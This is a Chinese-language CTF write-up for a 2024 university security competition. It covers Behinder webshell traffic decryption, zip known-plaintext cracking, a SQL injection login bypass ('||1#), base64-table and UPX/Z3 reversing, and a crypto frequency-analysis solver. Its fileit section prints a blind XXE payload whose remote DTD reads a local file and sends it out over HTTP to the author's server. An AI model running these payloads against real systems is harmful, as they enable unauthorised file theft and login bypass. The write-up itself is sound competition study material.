【2024高校网络安全管理运维赛】巨细记录!

2024高校网络安全管理运维赛

文章目录

  • 2024高校网络安全管理运维赛
    • MISC
      • 签到
        • 考点:动态图片分帧提取
      • easyshell
        • 考点:流量分析 冰蝎3.0
    • Web
      • phpsql
        • 考点:sql万能钥匙
      • fileit
        • 考点:xml注入 外带
    • Crypto
      • secretbit
        • 考点:代码阅读理解 频率分析
    • RE
      • easyre
        • 考点:base64换表
      • babyre
        • 考点:UPX脱壳,Z3求解

MISC

签到

考点:动态图片分帧提取

没啥好说的,给了一个动态的flag 所以用在线或者StegServer工具都可以分帧提取

然后按照图片所述,上cyberchef rot13解密

easyshell

考点:流量分析 冰蝎3.0

image-20240507013000012

打开后过滤一下http

追踪http流

image-20240507013209117

先分析一下特征,发现是冰蝎3

判断条件:参考:https://blog.csdn.net/pingan233/article/details/129168134

  1. Accept字段

Accept: text/html,image/gif, image/jpeg, *; q=.2, */*; q=.2

image-20240508012853431

  1. UserAgent字段

(这个图是在网上搜的,版权原因师傅们可以自行搜索一下网上都有)外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

image-20240508012933665

  1. 长连接

image-20240508012820359

到此确定为冰蝎3

然后去翻到下面看返回的数据,需要对其发送请求的内容进行解密

冰蝎3主要就两层加密如下:

AES + BASE64解密

image-20240508011913273

https://blog.csdn.net/weixin_46081055/article/details/120007338

其中AES的密钥一般是默认的e45e329feb5d925b

iv全设置为0

去一点点追踪http流看看解密后内容

主要是看蓝色返回包内容

image-20240508013922309

从少的开始 从后往前

AES:

image-20240508013953551

image-20240508014017605

注意这段非常重要

继续往上

image-20240508014101935

检测到压缩包PK开头特征

image-20240508014138859

提取zip 直接按右边的保存即可提取成功

image-20240508014304108

image-20240508014255567

两个文件 secret1 和 secret2在一个压缩包里 但是都需要密码

在往上走

image-20240508014625586

其中对最后两个解密 第一个是secret2.txt

第二个是temp.zip

这和我们的提取出来的非常一致啊

就这几个信息 还能干嘛 回忆我们之前拿到一段奇怪的明文 推测这就是secret2.txt的内容 而我们的flag就是secret1的内容

那么这个压缩包已知其中一个文件内容,利用已知明文攻击,上工具bkcrack

首先构造一下文件目录 测试了

image-20240508022132817

image-20240508022144117

know.zip放的内容如上

构造命令:

bkcrack -C download.zip -c secret2.txt -P know.zip -p secret2.txt

其中-C表示密文(cipher),-p为明文(plaintext),明文和密文中明文的部分对应,这么说是因为上午试过了把secret.txt或者整个压缩包作为密文,然后都找不出key!

然后-C应该是指外层文件,-c应该是内层文件

image-20240508021720078

拿到key后的下一步 解到新的zip文件中 并自己设置密码为happysu

bkcrack -C download.zip -k <key> -U flag.zip happysu

image-20240508021830905

在flag.zip中拿下

image-20240508022004530

参考:https://blog.csdn.net/Rick66Ashley/article/details/130015948

Web

phpsql

考点:sql万能钥匙

开题是一个登录界面,起初的思路是sql注入,队友试了时间盲注和布尔盲注

但是很慢也报不出来,看着解数增长的这么快,我们感觉可能是思路错了,应该是想复杂了,那就试试万能钥匙吧


下面是解题思路

image-20240507201449367

首先随便测一个 可以去注册,既然出题人写了注册功能,肯定要给我们什么信息吧

image-20240507201611275

注册好后,登录,可以发现需要登录一个admin用户

结合题目描述 > 你能成为管理员吗 可以确定需要作为admin用户登录

先尝试一下对用户名采用万能钥匙

image-20240507201754014

败了

image-20240507201810272

那么 非常新颖的思路来了!确定用户名是admin 所以对密码进行万能钥匙!

不能有空格 故输入'||1#

登录成功,直接拿下:

image-20240507200606412不过关于这题还要补充一下:其实在真实场景中对密码进行这样的sql注入是不合理> 的,毕竟绝大多网站都会把密码转md5加密后存储

fileit

考点:xml注入 外带

首先开题,就一个非常直白的界面

Ctrl+U 看一下

image-20240507205841901

非常明显的提示,但是我不懂,搜一下

image-20240507205915139

不是很理解 呜呜 问一下gpt

simplexml_import_dom() 函数用于将 DOM(文档对象模型)节点转换为 SimpleXML(简单 XML)节点。DOM 是一种树状结构,表示 XML 文档的完整内容,而 SimpleXML 则是 PHP 中一种简单且易于使用的 XML 解析器,允许开发者使用面向对象的方式轻松地处理 XML 数据。

与 XXE(XML 外部实体注入)相关的内容是在处理 XML 数据时可能遇到的安全问题。XXE 攻击利用 XML 解析器的功能,通过向 XML 文档中插入恶意实体来获取敏感信息或执行远程代码。在 PHP 中,SimpleXML 解析器对外部实体默认是启用的,这意味着如果应用程序在处理用户提供的 XML 数据时不小心暴露了 XML 解析器,就有可能成为 XXE 攻击的目标。

此外其实看到这个函数 可以一眼定XML外部实体注入 且无回显,因为漏洞源码如下:

<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>

所以我们来尝试一下XML外部实体注入 界面没什么回显 就是XML外部实体注入 使用payload直接梭 注意把ip换成自己服务器的

发包内容:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>

自己的服务器上接收数据:

eval.xml

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.134.128/?content=%file;'>">

参考来源:http://tttang.com/archive/1716/#toc__6

image-20240508005934841

其实一开始可以先读个file:///etc/passwd 测试一下

那么接下来是对浏览器抓包 这里其实当时踩坑了 因为题目环境一开始不出网 所以根本没法打 后面重启了一下才可以

抓包后修改一下请求包类型

image-20240508010629602

起初content-Type是没有的

image-20240508010653148

改成这样

image-20240508011501716

个人踩坑:

image-20240508011330106

httpd 也就是nginx没启动 没设置开机自启

启动命令

systemctl status nginx   #状态
systemctl start nginx   #启动

image-20240508011538413

查看服务器访问日志

拿下:

image-20240508011617251

Crypto

secretbit

考点:代码阅读理解 频率分析

题目:

from secret import flag
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdmdef instance(m, n):#随机性start = list(range(m))shuffle(start)for i in range(m):now = start[i]this_turn = Falsefor j in range(n-1):if now == i:this_turn = Truebreaknow = start[now]if not this_turn:return 0return 1def leak(m, n, times=2000):message = [instance(m, n) for _ in range(times)]return messageMAX_M = 400
MIN_M = 200
#把flag转成整形  然后再转为二进制
flag_b = [int(i) for i in bin(bytes_to_long(flag))[2:]]
leak_message = []for bi in tqdm(flag_b):#对每一个二进制位操作#生成合适的tmp_m0 n0 m1 n1while True:# m = 200 - 400# n = 100 - 356tmp_m0 = randrange(MIN_M, MAX_M)tmp_n0 = randrange(int(tmp_m0//2), int(tmp_m0 * 8 // 9))tmp_m1 = randrange(MIN_M, MAX_M)tmp_n1 = randrange(int(tmp_m1//2), int(tmp_m1 * 8 // 9))if abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5:breakchoose_m = tmp_m0 if bi == 0 else tmp_m1choose_n = tmp_n0 if bi == 0 else tmp_n1leak_message.append([[tmp_m0, tmp_n0], [tmp_m1, tmp_n1], leak(choose_m, choose_n)])#需要做的是 每一个flag的bit位都会生成一组泄露数据
# 我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1  需要通过leak的0 1值 去恢复 choose_m 和 choose_n
open('data.txt', 'w').write(str(leak_message))

解题:

其中注释都是自己加的,虽然一开题还是有点懵的,但是这个题作为我这种菜鸡密码人的唯一的倔强,ai那个根本看不懂,只能来好好分析一下咯

先写一点小demo进行测试一下instance函数在干什么

首先是对于shuffle

start = list(range(10))
print(start)
shuffle(start)  #直接打乱 不需要接收
print(start)

result:

[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
[2, 1, 4, 5, 3, 8, 0, 7, 6, 9]

这个对题目也没有什么影响,了解一下就好

下面是最关键的

我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1 需要通过leak的0 1值 去恢复 choose_m 和 choose_n到底是等于哪个

所以我们把tmpm0和tmpn0 以及 tmpm1和tmpn1 都跑一遍这个leak函数 看看结果

image-20240507203253726

image-20240507203402406

两次结果来对比一下,哇靠,一模不一样啊 这打个集贸啊

思考思考,必须恢复,那我们要看看频率了 看看1和0的频率

针对0和1统计频率 你能想到什么!必然是求和!非常方便

image-20240507203840509

可以发现频率是比较稳定的

看看另一个

image-20240507204557127

其实差距还是蛮大的 所以说 判断的方法就是 两个都自己本地leak一次 得到频率 然后读取题目泄露的数据 得到真实的频率 两个自己生成的看看哪个接近 就能判断当前的bit位是谁啦

exp:

from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdmdef instance(m, n):#随机性start = list(range(m))shuffle(start)for i in range(m):now = start[i]this_turn = Falsefor j in range(n-1):if now == i:this_turn = Truebreaknow = start[now]if not this_turn:return 0return 1def leak(m, n, times=2000):message = [instance(m, n) for _ in range(times)]return messagewith open('data.txt', 'r') as file:# 读取文件中的数据data = file.read()# 将读取的字符串数据转换为列表  注意这是一个三元组
leak_message = eval(data)flag_b = []
#对flag的每一个bit泄露进行操作
for bit in leak_message:m0 = bit[0][0]n0 = bit[0][1]m1 = bit[1][0]n1 = bit[1][1]res = sum(bit[2])res0 = sum(leak(m0, n0))res1 = sum(leak(m1, n1))#如果0接近if abs(res0 - res) < abs(res1 - res):flag_b.append('0')else:flag_b.append('1')print(''.join(flag_b))print(''.join(flag_b))

10min左右

拿下:

a = 0b110011001101100011000010110011101111011011101000110100001101001011100110101111100110001011100110101111101110100011010000110010101011111011100110100010101100011011100100110010101110100010111110110011000110001011000010110011101111101
b = int(a)
print(long_to_bytes(b))
#b'flag{this_1s_the_sEcret_f1ag}'

RE

easyre

考点:base64换表

开题

shift+F12 打开字符串

image-20240507145900931

一眼定 base64换表

image-20240507145916678

babyre

考点:UPX脱壳,Z3求解

开题一看 这么几个函数,必定加壳了

image-20240507153828197

用exeinfo查一下

image-20240507161733279

发现是UPX壳 用给出的命令脱壳

image-20240507162112781

同样先shift+F12查看一下字符串

image-20240507162310905

找到非常吸睛的flag!

image-20240507163107106

显然有四个加密点,需要我们去恢复,只要恢复回来就会直接输出flag

注意我们的目的是让每个函数都返回0 避免跳转到LABEL_7

image-20240507164810346

Part1:

image-20240507163839155

第一部分的条件非常清晰

a1 - 0xADB1D018 == 0x36145344

Part2:

image-20240507164010530

(a1 | 0x8E03BEC3) - 3 * (a1 & 0x71FC413C) + a1 == 0x902C7FF8

Part3:

image-20240507164145790

a1 < 0x100000004 * ((~a1 & 0xA8453437) + 2 * ~(~a1 | 0xA8453437))+ -3 * (~a1 | 0xA8453437)+ 3 * ~(a1 | 0xA8453437)- (-10 * (a1 & 0xA8453437)+ (a1 ^ 0xA8453437)) == 551387557

Part4:

11 * ~(a1 ^ 0xE33B67BD)+ 4 * ~(~a1 | 0xE33B67BD)- (6 * (a1 & 0xE33B67BD)+ 12 * ~(a1 | 0xE33B67BD))+ 3 * (a1 & 0xD2C7FC0C)+ -5 * a1- 2 * ~(a1 | 0xD2C7FC0C)+ ~(a1 | 0x2D3803F3)+ 4 * (a1 & 0x2D3803F3)- -2 * (a1 | 0x2D3803F3) == 0xCE1066DC

注意上面的a1不一定是最终的a4 因为参数不一样


使用z3求解器

from z3 import *
s = Solver()
a4 = BitVec("a4", 32)
a1 = BitVec("a1", 32)
a2 = BitVec("a2", 32)
a3 = BitVec("a3", 32)
s.add( a1 - 0xADB1D018 == 0x36145344)
s.add( (a2 | 0x8E03BEC3) - 3 * (a2 & 0x71FC413C) + a2 == -1876131848 )
s.add( 4 * ((~a3 & 0xA8453437) + 2 * ~(~a3 | 0xA8453437)) + -3 * (~a3 | 0xA8453437) + 3 * ~(a3 | 0xA8453437) - (-10 * (a3 & 0xA8453437)  + (a3 ^ 0xA8453437)) == 551387557 )
s.add(11 * ~(a4 ^ 0xE33B67BD) + 4 * ~(~a4 | 0xE33B67BD) - (6 * (a4 & 0xE33B67BD) + 12 * ~(a4 | 0xE33B67BD)) + 3 * (a1 & 0xD2C7FC0C) + -5 * a1 - 2 * ~(a1 | 0xD2C7FC0C) + ~(a1 | 0x2D3803F3) + 4 * (a1 & 0x2D3803F3) - -2 * (a1 | 0x2D3803F3) == 0xCE1066DC)if s.check() == sat:print(s.model())
else:print("???? ERROR")

直接梭了

result:

[a3 = 78769651,a4 = 2341511158,a2 = 98124621,a1 = 3821413212]

image-20240507195227776

拿下:flag{e3c6235c-05d9434d-04b1edf3-8b909ff6}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/325867.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构与算法-时间复杂度

这篇文章会讲到时间频度&#xff0c;时间复杂度&#xff0c;一些排序算法的平均时间复杂度与最坏时间复杂度 目录 1.度量一个程序&#xff08;算法&#xff09;的两种方法 1&#xff09;事后统计法 2&#xff09;事前估算法 2.时间频度 1.基本介绍 算法1&#xff1a; 算…

C语言 | Leetcode C语言题解之第86题分隔链表

题目&#xff1a; 题解&#xff1a; struct ListNode* partition(struct ListNode* head, int x) {struct ListNode* small malloc(sizeof(struct ListNode));struct ListNode* smallHead small;struct ListNode* large malloc(sizeof(struct ListNode));struct ListNode* …

SpringCloud微服务之Eureka、Ribbon、Nacos详解

SpringCloud微服务之Eureka、Ribbon、Nacos详解 1、认识微服务1.1、单体架构1.2、分布式架构1.3、微服务1.4、SpringCloud 2、服务拆分与远程调用2.1、服务拆分的原则2.2、服务拆分示例2.2、提供者与消费者 3、Eureka注册中心3.1、Eureka的结构和作用3.2、搭建eureka-server3.2…

使用IIS部署Vue项目

前提 使用IIS部署Vue项目&#xff0c;后端必须跨域&#xff0c;不要在Vue中用proxy跨域&#xff0c;那个只在dev环境中有用&#xff01; IIS安装&#xff0c;不用全部打勾&#xff0c;有些他默认就是方块 ■ 选择性安装的&#xff0c;就维持原样就可以。 添加网站配置 右键…

4.1 编写程序,从键盘接收一个小写字母,然后找出他的前导字符和后续字符,再按顺序显示这三个字符

方法一&#xff1a; 运行效果&#xff1a; 输入B&#xff0c;输出显示ABC&#xff1b;输入A&#xff0c;输出显示AB 思路&#xff1a; 1、通过键盘输入接收一个字母。 2、将输入的字母减去1&#xff0c;得到前导字符&#xff0c;然后输出。 3、将输入的字母加上1&#xff0c;得…

公有云Linux模拟UDP端口并抓包

目录 写在前面操作步骤服务端开启UDP端口并监听客户端连接Wireshark抓包查看 写在前面 关于具体的操作&#xff0c;请参考我的上一篇文章 公有云Linux模拟TCP三次挥手与四次握手&#xff08;Wireshark抓包验证版&#xff09; 在本文&#xff0c;仅介绍与上一篇不同的地方。 操…

机器学习特征降维

目录 特征降维概念 低方差过滤法 PCA主成分分析 相关系数法 小结 特征降维概念 特征对训练模型时非常重要的&#xff1b;用于训练的数据集包含一些不重要的特征&#xff0c;可能导致模型性能不好、泛化性能不佳&#xff1b;例如&#xff1a; 某些特征的取值较为接近&…

MySQL查询篇-聚合函数-窗口函数

文章目录 distinct 关键字聚合函数常见的聚合函数group by和having 分组过滤 窗口函数with as窗口聚合函数排名窗口函数值窗口函数 distinct 关键字 distinct 去重数据&#xff0c;ps:null值也会查出来 select distinct column from table;聚合函数 常见的聚合函数 select …

YOLOv8独家原创改进: AKConv(可改变核卷积)

1.AKConv原理介绍 地址:2311.11587 (arxiv.org) 摘要:基于卷积运算的神经网络在深度学习领域取得了令人瞩目的成果,但标准卷积运算存在两个固有的缺陷。一方面,卷积运算仅限于局部窗口,无法捕获其他位置的信息, 并且它的采样形状是固定的。 另一方面,卷积核的大小固定为…

08.4.grafana自定义图形并直接数据库取值

grafana自定义图形并直接数据库取值 自定义添加油表图形 选择gauge图形&#xff0c;并且配置对应设定值&#xff0c;点击应用 如图所示&#xff0c;可以看到仪表盘上的值是zabbix上取得值 配置grafana直接数据库取值 添加mysql数据源 添加后进行配置&#xff0c;我这…

通过内网穿透实现远程访问个人电脑资源详细过程(免费)(NatApp + Tomcat)

目录 1. 什么是内网穿透 2. 内网穿透软件 3. NatApp配置 4. 启动NatApp 5. 通过内网穿透免费部署我们的springboot项目 通过内网穿透可以实现远程通过网络访问电脑的资源&#xff0c;本文主要讲述通过内网穿透实现远程访问个人电脑静态资源的访问&#xff0c;下一章节将讲…

Mobilenet四代网络模型架构

一、Mobilenet v1 MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications 论文地址:https://arxiv.org/abs/1704.04861https://arxiv.org/abs/1704.04861 1.概述 Mobilenet是一个用于移动端和嵌入式的神经网络,其核心思想是采用深度可分离…

纯血鸿蒙APP实战开发——首页下拉进入二楼效果案例

介绍 本示例主要介绍了利用position和onTouch来实现首页下拉进入二楼、二楼上划进入首页的效果场景&#xff0c;利用translate和opacity实现动效的移动和缩放&#xff0c;并将界面沉浸式&#xff08;全屏&#xff09;显示。 效果图预览 使用说明 向下滑动首页页面超过触发距…

BGP学习一:关于对等体建立和状态组改变

目录 一.BGP基本概念 &#xff08;1&#xff09;.BGP即是协议也是分类 1.早期EGP 2.BGP满足不同需求 3.BGP区域间传输的优势 &#xff08;1&#xff09;安全性——只传递路由信息 &#xff08;2&#xff09;跨网段建立邻居 4.BGP总结 5.BGP的应用 &#xff08;1&#…

《动手学深度学习》V2(11-18)

文章目录 十一、二 模型选择与过拟合和欠拟合1、模型的选择2、过拟合和欠拟合3、估计模型容量4、线性分类器的VC维5、过拟合欠拟合的代码实现 :fire:①生成数据集②定义评估损失③定义训练函数④三阶多项式函数拟合⑤线性函数拟合(欠拟合)⑤高阶多项式函数拟合(过拟合) 十三、权…

docker私有仓库部署与管理

一、搭建本地公有仓库 1.1 首先下载registry镜像 docker pull registry 1.2 在daemon.json文件中添加私有镜像仓库地址并重新启动docker服务 vim /etc/docker/daemon.json 1.3 运行registry容器 docker run -itd -v /data/registry:/var/lib/registry -p 5000:5000 --restartal…

VP Codeforces Round 944 (Div 4)

感受&#xff1a; A~G 其实都不难&#xff0c;都可以试着补起来。 H看到矩阵就放弃了。 A题&#xff1a; 思路&#xff1a; 打开编译器 代码&#xff1a; #include <iostream> #include <vector> #include <algorithm> #define int long long using na…

Ansible——playbook编写

目录 环境配置 一、简介 1.什么是playbook 2.playbook组成 二、应用实例 1.基础命令 1.编写 ceshi1.yaml 文件 2.运行Playbook 2.定义、引用变量 1.编写ceshi2.yaml文件 3.指定远程主机sudo切换用户 1.编写ceshi3.yaml文件 2.修改被控主机sudoers文件 3.给zhangsa…

等保一体机能过三级等保吗?过等保无需再买安全设备如何做到?

等保一体机能过三级等保吗&#xff1f;过等保无需再买安全设备如何做到&#xff1f; 全云在线 2024-03-28 12:08 广东 尽管等保建设的标准是统一的&#xff0c;但由于不同行业和用户规模的差异&#xff0c;建设方案呈现出多样化的特点。 虽然重点行业过等保现象确实已经十分…

Unity图文混排EmojiText的使用方式和注意事项

​​​​​​​ 效果演示&#xff1a; 使用方式&#xff1a; 1、导入表情 2、设置图片格式 3、生成表情图集 4、创建/修改目标材质球 5、测试 修复换行问题 修复前&#xff1a; 修复后&#xff1a; 修复代码&#xff1a; 组件扩展 1、右键扩展 2、组件归类&#…